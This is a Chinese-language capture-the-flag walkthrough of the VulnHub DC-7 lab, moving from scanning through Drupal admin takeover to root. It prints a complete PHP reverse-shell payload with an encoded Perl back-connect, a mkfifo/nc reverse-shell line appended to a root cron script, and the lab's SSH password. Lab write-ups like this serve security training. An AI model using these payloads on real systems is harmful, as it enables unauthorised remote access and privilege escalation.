一、準備工作
kali和靶機都選擇NAT模式(kali與靶機同網段)
1.靶場環境
下載鏈接:https://download.vulnhub.com/dc/DC-7.zip
2.kali的ip
命令:ifconfig
3.靶機的ip
掃描靶機ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)掃描靶機開放的端口及其服務
nmap -A -p- 192.168.101.120
2.網站的信息收集
(1)靶機開放了80端口,先訪問靶機網站看看有什么有用的信息
(2)發現在歡迎頁面的左下角有一個“@DC7USER”,應該是接入點,然后百度搜索@DC7USER,發現一些網站代碼
(3)點擊config.php發現用戶名密碼
(4)使用ssh嘗試遠程登錄
ssh dc7user@192.168.101.120
yes
MdR3xOgB7#dW
(5)查看dc7user用戶有哪些文件,看看有沒有可以利用的信息
dc7user@dc-7:~$ ls
backups mbox
dc7user@dc-7:~$ cd backups/
dc7user@dc-7:~/backups$ ls
website.sql.gpg website.tar.gz.gpg
dc7user@dc-7:~/backups$ cd ..
dc7user@dc-7:~$ cat mbox
在mbox文件里面發現一個可以利用的腳本
(6)進入到/opt/scripts查看backups.sh文件
cd /opt/scripts
cat backups.sh
(7)發現該腳本涉及drush命令,進入到html目錄下,使用drush命令修改網頁的用戶密碼
drush user-password admin --password="123456"
使用修改的用戶密碼登錄
登錄成功
三、漏洞利用
1.添加getshell
(1)在Content—>Add content-->Basic page下,準備添加PHP代碼反彈shell,但發現Drupal 8不支持PHP代碼,百度后知道Drupal 8后為了安全,需要將php單獨作為一個模塊導入
(2)在Manage—>EXtend里面下載模塊
模塊包下載地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
我已經下載好了,就不演示了
2.提權
我添加php反向連接代碼
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
kali開啟監聽
nc -lvvp 4444
優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python -c 'import pty;pty.spawn("/bin/bash")'
當前用戶是www-data,在/opt/scripts目錄下的backups.sh腳本文件所屬組是www-data,所以www-data用戶可以對這個腳本文件進行操作,并且這個腳本文件定時執行可以利用它來反彈shell
寫入反彈shell代碼到backups.sh腳本文件中,并在kali監聽1234端口,等待計劃任務執行,稍微等待后成功getshell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.101.10 1234 >/tmp/f" >>backups.sh
cat backups.sh
nc -lvvp 1234
大概15分鐘, 文件自動執行完成
查看當前用戶,進入root目錄查看theflag.txt
id
cd /root
cat theflag.txt